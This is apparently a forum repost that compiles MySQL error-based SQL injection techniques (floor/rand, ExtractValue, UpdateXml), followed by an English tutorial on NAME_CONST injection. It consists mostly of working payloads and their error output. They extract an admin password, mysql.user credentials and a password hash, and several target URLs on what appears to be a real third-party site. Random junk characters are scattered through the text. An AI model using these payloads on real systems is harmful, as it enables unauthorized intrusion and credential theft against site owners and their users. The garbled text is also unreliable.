mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
' A# S" v) I7 Y4 m1 G7 E| id | title | content |
# p' T2 F- h% a+—-+——-+———+
% z, H- K! V& B- }7 v3 X|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
2 @# r. K' y& B+ K# h8 D# @2 f例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
1 ?0 }* C3 ~2 |6 {/ l& O测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
+ r7 l5 u+ a! D/ D1 gERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

$ U* J0 R) E' m# N, E% J/ e3 F8 O, I

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
2 s) l, c% h" ]( o+ e
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

! C3 J! ~9 x8 o& vMYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

# e+ O. N: u" R2 U6 S' n
& V9 ^3 V0 O! s0 @$ ]相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

9 j( \9 }- O6 {+ X1 _: KCode:
  r! D8 A" ~7 ^4 ONAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)


- k" p+ c4 N* f; x0 M
$ t1 K4 {1 S5 u. ~* z/ P4 F|---------------|
|     TEST      |
4 E3 F( c, _1 q% e1 L9 E, e|               |
|---------------|
2 `8 Q8 ~7 @+ p" o$ A& u/ G|       1       |
|               |
|---------------|

7 ?$ K4 w' N3 M, E! m


http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
$ T  _. f- G% {2 k. A% {
$ B; O+ y$ V4 k. [$ V* I+ e0 ]7 QOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

: H$ P3 A  A( r; f% [+ WCode:
4 c5 A6 }& s3 \' v" U1 Shttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261

3 u* O' @; }9 Q


3 }' M: f; }$ \- Q
Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..
* T% T! j& u. O
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
; T+ Q" ]+ s/ x, K: u
Erroruplicate column name '5.0.27-community-nt'


1 M2 c, j4 ^$ h. U1 Q: D
+ x$ |3 A6 y) u6 k+ Q* |+ J5 D7 G6 r

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

' V3 r* L( p3 S. G" bData Extraction
  j% g* d/ m. C! o* v# F7 E% z& l( X
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

& `5 a2 q8 h0 k
We should get a duplicate column 1 error...
2 |& ^/ R$ E9 X# O" o3 S; g3 P  O
3 W' B& R/ m) M3 W7 tCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

4 O) T9 X% e# A. M, t7 [6 `; r; GErroruplicate column name '1

7 D" G- D& z* U9 U3 \9 M  v

- L- Y2 R; H: S3 s, K) Z

# e- [  o6 q& \( ?( Z- |
9 R, ]6 V8 v& s& O7 _$ J) r$ pNow let's get the tables out this bitch..

( B5 e5 _; k" P' fCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

0 [$ U- w6 Z+ F- l/ P
Let's see if it works here, if it does, we can go on and finish the job.
+ h) Y: G: [7 I$ E
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
. n$ j5 H' S5 k+ h4 O, z/ k1 M
. d: G7 s* P( A8 _1 Z9 T2 o
/ [3 U' D- g4 d! D* _% P8 JErroruplicate column name 'com_admanage
" n4 G9 g' h  ~* ~" X

" O% G; A, {1 O) C. ]& k


+ a+ n% F7 {( N+ h/ r4 ?
$ o$ F1 \( U; nNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
4 R8 l6 y3 ~" p+ m2 X% g
8 J3 A% q  c7 Q5 @; L1 ?Let's get the columns out of the user table..

! S7 z2 t2 s  ACode:
$ d% H, W, e/ P  n+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
* G" \' C, |9 G( a+ G  K
8 R# @5 G3 I3 Q6 ~. c, ~. F
So mine looks like this, and I get the duplicate column name 'Host'.
& c1 m/ B: v4 o7 `
1 \; M8 u/ s6 |, m1 f9 Z' s0 I0 qCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
& I( N6 _6 `5 ~, `! W: A: E' ~! O( J
Erroruplicate column name 'Host'

0 b. n) c6 ?! M* b0 v( |4 N2 s
# _7 u1 @+ v+ T# a$ d

/ \; X& Y  I  l; w! Y

Woot, time to finish this bitch off.
: `9 A6 O* H; [/ l
1 ?- t8 s* L; |& d6 J% `9 nCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
4 p* C1 p7 D7 @+ ~

, z, c2 I2 [2 U4 M- M+ FSo mine looks like this...
2 {6 y. b3 r* ?8 [
! f. F; L; H" C- a# JCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

9 I- g7 R* Z* {* o1 @Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


0 k2 o; S9 d: [; w

& ^, J# U* K4 J3 J1 Y. V6 q
- a1 R2 L4 u0 T' F
7 |$ M& S+ e* V5 D+ d, HAnd there we have it, thanks for reading.
1 }' U4 e( S3 O" s8 K) F2 ]* }
5 ]3 m, V* p; o9 k( F  o